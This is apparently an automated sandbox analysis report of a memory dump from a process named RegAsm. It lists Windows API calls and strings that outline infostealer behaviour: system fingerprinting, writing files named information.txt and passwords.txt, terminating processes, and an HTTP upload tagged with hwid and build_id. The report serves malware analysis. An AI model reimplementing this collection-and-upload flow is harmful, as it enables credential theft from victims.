Part of subcall function 004103A0: CreateDCA.GDI32(00000000,00000000,00000000,00000001), ref: 004103B5
Part of subcall function 004103A0: GetDeviceCaps.GDI32(00000000,00000008), ref: 004103C0
Part of subcall function 004103A0: GetDeviceCaps.GDI32(00000000,0000000A), ref: 004103CB
Part of subcall function 004103A0: ReleaseDC.USER32(00000000,00000000), ref: 004103D6
Part of subcall function 004103A0: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,?,00414CC0,?,00000000,?,Display Resolution: ,00000000,?,00426678,00000000,?), ref: 004103E2
Part of subcall function 004103A0: HeapAlloc.KERNEL32(00000000,?,00000000,?,?,00414CC0,?,00000000,?,Display Resolution: ,00000000,?,00426678,00000000,?,00000000), ref: 004103E9
Part of subcall function 004103A0: wsprintfA.USER32 ref: 004103FB

Part of subcall function 0040FCE5: _EH_prolog.MSVCRT ref: 0040FCEA
Part of subcall function 0040FCE5: GetKeyboardLayoutList.USER32(00000000,00000000,004262AF,00000001,?,00000000), ref: 0040FD1C
Part of subcall function 0040FCE5: LocalAlloc.KERNEL32(00000040,00000000,?,00000000), ref: 0040FD2A
Part of subcall function 0040FCE5: GetKeyboardLayoutList.USER32(00000000,00000000,?,00000000), ref: 0040FD35
Part of subcall function 0040FCE5: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,?,00000000), ref: 0040FD5F
Part of subcall function 0040FCE5: LocalFree.KERNEL32(?), ref: 0040FE03

Part of subcall function 0040FC92: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,Computer Name: ,00000000,?,00426654,00000000,?,00000000,00000000,?,AV: ), ref: 0040FCA3
Part of subcall function 0040FC92: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,00426654,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040FCAA
Part of subcall function 0040FC92: GetTimeZoneInformation.KERNEL32(00000000,?,00000000,00000000,?,Computer Name: ,00000000,?,00426654,00000000,?,00000000,00000000,?,AV: ,00000000), ref: 0040FCB9
Part of subcall function 0040FC92: wsprintfA.USER32 ref: 0040FCD7

Part of subcall function 0040FE18: GetProcessHeap.KERNEL32(00000000,00000104,00000001,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,004266D4), ref: 0040FE2C
Part of subcall function 0040FE18: HeapAlloc.KERNEL32(00000000,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?,004266D4,00000000,?), ref: 0040FE33
Part of subcall function 0040FE18: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00000000,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000,?), ref: 0040FE51
Part of subcall function 0040FE18: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,?,?,?,00414F3C,00000000,?,Processor: ,00000000,?,[Hardware],00000000), ref: 0040FE6D

Part of subcall function 0040FEB4: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040FF07
Part of subcall function 0040FEB4: wsprintfA.USER32 ref: 0040FF4D

Part of subcall function 0040FE81: GetSystemInfo.KERNEL32(00000000), ref: 0040FE8E
Part of subcall function 0040FE81: wsprintfA.USER32 ref: 0040FEA3

Part of subcall function 0040FF81: GetProcessHeap.KERNEL32(00000000,00000104,00000001,00000000,00000000,?,Windows: ,00000000,?,00426624,00000000,?,Work Dir: In memory,00000000,?,0042660C), ref: 0040FF8F
Part of subcall function 0040FF81: HeapAlloc.KERNEL32(00000000), ref: 0040FF96
Part of subcall function 0040FF81: GlobalMemoryStatusEx.KERNEL32 ref: 0040FFB6
Part of subcall function 0040FF81: wsprintfA.USER32 ref: 0040FFDC

Part of subcall function 0040FFEA: _EH_prolog.MSVCRT ref: 0040FFEF
Part of subcall function 0040FFEA: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 00410057

Part of subcall function 004102C3: _EH_prolog.MSVCRT ref: 004102C8
Part of subcall function 004102C3: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00410303
Part of subcall function 004102C3: Process32First.KERNEL32(00000000,00000128), ref: 00410314
Part of subcall function 004102C3: Process32Next.KERNEL32(?,00000128), ref: 0041037C
Part of subcall function 004102C3: CloseHandle.KERNEL32(?,?,00000000), ref: 00410389

Part of subcall function 00410071: _EH_prolog.MSVCRT ref: 00410076
Part of subcall function 00410071: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,004262C7,00000001,00000000), ref: 004100BE

Part of subcall function 00410071: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00410108
Part of subcall function 00410071: wsprintfA.USER32 ref: 00410132
Part of subcall function 00410071: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 0041014F
Part of subcall function 00410071: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00410179
Part of subcall function 00410071: lstrlenA.KERNEL32(?), ref: 0041018E
Part of subcall function 00410071: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,00000000,?,?,00000000,?,004262F0), ref: 0041020E

lstrlenA.KERNEL32(00000000,00000000,?,00426748,00000000,?,00000000,00000000,?,00000000,00000000,?,[Software],00000000,?,00426738), ref: 0041537A

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

TimeZone: , xrefs: 00414E52
Path: , xrefs: 004148F8
information.txt, xrefs: 00415395
Keyboard Languages: , xrefs: 00414D21
Install Date: , xrefs: 00414A67
Version: , xrefs: 00414625
Display Resolution: , xrefs: 00414C8D
GUID: , xrefs: 004147D0
T, xrefs: 004153AE
[Software], xrefs: 0041527F
VideoCard: , xrefs: 00415127
Work Dir: In memory, xrefs: 00414994
Local Time: , xrefs: 00414DC1
MachineID: , xrefs: 00414751
Cores: , xrefs: 00414F98
[Processes], xrefs: 004151D3
Computer Name: , xrefs: 00414B8F
Processor: , xrefs: 00414F07
[Hardware], xrefs: 00414ED7
AV: , xrefs: 00414AFB
User Name: , xrefs: 00414C0E
HWID: , xrefs: 00414864
Threads: , xrefs: 0041501D
RAM: , xrefs: 004150A2
Windows: , xrefs: 004149E8
Date: , xrefs: 004146D2

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$H_prolog$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariantlstrcat$CharComputerDevicesDirectoryDisplayFileFirstFreeGlobalLocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZonememset
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $T$Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 722754166-3257470747
Opcode ID: 4b9fd54f7e51e5b3625fb3809e0446a4ef10545269b0a6af337ebca9e7ba9020
Instruction ID: 15cc8dd7e761a7b9687d1197911a175701b94bd7e601d052700fcacce4104c59
Opcode Fuzzy Hash: 4b9fd54f7e51e5b3625fb3809e0446a4ef10545269b0a6af337ebca9e7ba9020
Instruction Fuzzy Hash: 53922EB190424DE9CB15E7E1C952BEEBB789F24308F5001BEE505725C2DE782B8CCAB5

Function 0040C27B Relevance: 42.3, APIs: 23, Strings: 1, Instructions: 296
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040C280

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426498,00000001,000000C8,00000000,004265BA), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00425BA4,?,?,?,00425B9E,?,00000000), ref: 0040C378
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040C3D9
RtlAllocateHeap.NTDLL(00000000), ref: 0040C3E0
lstrlenA.KERNEL32(00000000,00000000), ref: 0040C470
lstrcat.KERNEL32(00000000), ref: 0040C487
lstrcat.KERNEL32(00000000,00000000), ref: 0040C499
lstrcat.KERNEL32(00000000,00425BA8), ref: 0040C4A7
lstrcat.KERNEL32(00000000,00000000), ref: 0040C4B9
lstrcat.KERNEL32(00000000,00425BAC), ref: 0040C4C7
lstrcat.KERNEL32(00000000), ref: 0040C4D6
lstrcat.KERNEL32(00000000,00000000), ref: 0040C4E8
lstrcat.KERNEL32(00000000,00425BB0), ref: 0040C4F6
lstrcat.KERNEL32(00000000), ref: 0040C505
lstrcat.KERNEL32(00000000,00000000), ref: 0040C517
lstrcat.KERNEL32(00000000,00425BB4), ref: 0040C525
lstrcat.KERNEL32(00000000), ref: 0040C534
lstrcat.KERNEL32(00000000,00000000), ref: 0040C546
lstrcat.KERNEL32(00000000,00425BB8), ref: 0040C554
lstrcat.KERNEL32(00000000,00425BBC), ref: 0040C562
lstrlenA.KERNEL32(00000000), ref: 0040C596
memset.MSVCRT ref: 0040C5E9
DeleteFileA.KERNEL32(00000000), ref: 0040C616

Part of subcall function 004063B1: _EH_prolog.MSVCRT ref: 004063B6
Part of subcall function 004063B1: memcmp.MSVCRT ref: 004063DC
Part of subcall function 004063B1: memset.MSVCRT ref: 0040640B
Part of subcall function 004063B1: LocalAlloc.KERNEL32(00000040,-000000E1,?,?,?,?,00000000,00000000), ref: 00406440

Strings

passwords.txt, xrefs: 0040C5A8

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$H_prolog$lstrcpy$lstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessSystemTimememcmp
String ID: passwords.txt
API String ID: 3298853120-347816968
Opcode ID: b59979e0928ef6e5aefeb439e8188f89191dca433fd258269f78d84d3eaa090d
Instruction ID: 3d2456610e152fb8fa5d54acb3feaddce6e398d7491f6e002fa618601dbd43d1
Opcode Fuzzy Hash: b59979e0928ef6e5aefeb439e8188f89191dca433fd258269f78d84d3eaa090d
Instruction Fuzzy Hash: 00C16971800159EEDB15EBE4DD1AEEEBB75BF18304F10407AF512B21E1DB782A09DB25

Function 0041390C Relevance: 41.1, APIs: 12, Strings: 11, Instructions: 825
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00413911

Part of subcall function 004135AC: _EH_prolog.MSVCRT ref: 004135B1

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,004265B7,004265B6,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413ADD
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413B5E

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0041303A: _EH_prolog.MSVCRT ref: 0041303F
Part of subcall function 0041303A: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041309D

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413C8A
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413D0B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413E37
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413EB8
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413FE4
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414065
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414191
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 0041420C
Sleep.KERNEL32(0000EA60), ref: 0041421B

Part of subcall function 00413118: _EH_prolog.MSVCRT ref: 0041311D
Part of subcall function 00413118: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041319F
Part of subcall function 00413118: lstrlenA.KERNEL32(00000000), ref: 004131B6
Part of subcall function 00413118: StrStrA.SHLWAPI(00000000,00000000), ref: 004131DD
Part of subcall function 00413118: lstrlenA.KERNEL32(00000000), ref: 004131F2
Part of subcall function 00413118: lstrlenA.KERNEL32(00000000), ref: 0041320D

Strings

ERROR, xrefs: 00413ACF
ERROR, xrefs: 00413B50
ERROR, xrefs: 004141FE
ERROR, xrefs: 00413EAA
ERROR, xrefs: 00413E29
ERROR, xrefs: 00413CFD
*, xrefs: 00414352
ERROR, xrefs: 00413FD6
ERROR, xrefs: 00414057
ERROR, xrefs: 00413C7C
ERROR, xrefs: 00414183

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpylstrlen$Sleep
String ID: *$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 1345713276-3681523784
Opcode ID: 8d9ac18b8df2a6b284955ed97a086bcb1f821ef7b8b64bcd58f2fc5db10276e4
Instruction ID: 81b84598b74079d87ef3f85c7997e73a576bc14dc27035db183a239247f2f400
Opcode Fuzzy Hash: 8d9ac18b8df2a6b284955ed97a086bcb1f821ef7b8b64bcd58f2fc5db10276e4
Instruction Fuzzy Hash: D5626370904248EADB10EBE5C956BDEBBB89F19308F5041BEF445B32C1DB785B4C8B66

Function 00403AF5 Relevance: 37.3, APIs: 13, Strings: 8, Instructions: 513
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00403AFA

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403BA5
StrCmpCA.SHLWAPI(?), ref: 00403BBC

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00403D44
HttpOpenRequestA.WININET(?,?,00000000,00000000,-00400100,00000000), ref: 00403D7E
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00403DA2

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,004259CD,00000000,?,?,00000000,?,",00000000,?,build_id), ref: 0040407E
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404097
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004040A8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004040FC
InternetCloseHandle.WININET(00000000), ref: 00404107
InternetCloseHandle.WININET(?), ref: 0040411C
InternetCloseHandle.WININET(?), ref: 00404125

Strings

------, xrefs: 00403C3E
!, xrefs: 004040E6
hwid, xrefs: 00403E50
------, xrefs: 00403EF7
", xrefs: 00403FC9
build_id, xrefs: 00403F9F
------, xrefs: 00403DA8
", xrefs: 00403E7A

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$H_prologlstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: !$"$"$------$------$------$build_id$hwid
API String ID: 1139859944-3346224549
Opcode ID: 6dfa883d49b08ce1d907c8d0173507c2161b387eb4e9c2766cbb1b52305e547a
Instruction ID: 7cb0d70ecfea339ca3c9d0d40474d85fcafec7ec4a7ae7ad7b1869ac4000fa9b
Opcode Fuzzy Hash: 6dfa883d49b08ce1d907c8d0173507c2161b387eb4e9c2766cbb1b52305e547a
Instruction Fuzzy Hash: 36223BB190424CEADB11EBE4C956BEEBBB8AF18308F50417EE50573582DE781B4CCB65

Function 00406737 Relevance: 33.5, APIs: 22, Instructions: 511
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 0040673C

Part of subcall function 0040FB28: StrCmpCA.SHLWAPI(?,?,?,00408A88,00425DD4,00000000), ref: 0040FB31

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,?,00425BD0,?,?,?,00425BA6,?,00000000), ref: 004068A8

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00411056: _EH_prolog.MSVCRT ref: 0041105B
Part of subcall function 00411056: memset.MSVCRT ref: 0041107D
Part of subcall function 00411056: OpenProcess.KERNEL32(00001001,00000000,?,?,?,?,00000000,?), ref: 00411104
Part of subcall function 00411056: TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000000,?), ref: 00411112
Part of subcall function 00411056: CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 00411119

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00406A9A
RtlAllocateHeap.NTDLL(00000000), ref: 00406AA1
lstrcat.KERNEL32(00000000,00000000), ref: 00406BBF
lstrcat.KERNEL32(00000000,00425BEC), ref: 00406BCD
lstrcat.KERNEL32(00000000,00000000), ref: 00406BDF
lstrcat.KERNEL32(00000000,00425BF0), ref: 00406BED
lstrlenA.KERNEL32(00000000), ref: 00406D34
lstrlenA.KERNEL32(00000000), ref: 00406D42

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

memset.MSVCRT ref: 00406D9A
DeleteFileA.KERNEL32(00000000), ref: 00406DBF

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologlstrcat$lstrcpy$Processlstrlen$FileHeapmemset$AllocateCloseCopyCreateDeleteHandleObjectOpenSingleTerminateThreadWait
String ID:
API String ID: 4187064601-0
Opcode ID: ea3e131a31bfade24d911b2f4923d0140332d684978b2b21ba3cf0083f7bbf7d
Instruction ID: 623c21351db5d7502ddbdcae5b6d8d47bff6a1d16c2b78033439981e25a1e23c
Opcode Fuzzy Hash: ea3e131a31bfade24d911b2f4923d0140332d684978b2b21ba3cf0083f7bbf7d
Instruction Fuzzy Hash: 3F224871904248EADF15EBE4DD56AEEBB75AF18308F50407EF402721D2DF782A09DB26

Function 00408759 Relevance: 33.4, APIs: 22, Instructions: 407stringmemoryfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040875E

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426498,00000001,000000C8,00000000,004265BA), ref: 00410BA1

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,00000000,00000000,?,00425DC8,?,?,?,00425BEA,00000000), ref: 00408841
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 004089AE
RtlAllocateHeap.NTDLL(00000000), ref: 004089B5
lstrcat.KERNEL32(00000000,00000000), ref: 00408AD8
lstrcat.KERNEL32(00000000,00425DDC), ref: 00408AE6
lstrcat.KERNEL32(00000000,00000000), ref: 00408AF8
lstrcat.KERNEL32(00000000,00425DE0), ref: 00408B06
lstrlenA.KERNEL32(00000000), ref: 00408C19
lstrlenA.KERNEL32(00000000), ref: 00408C27

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
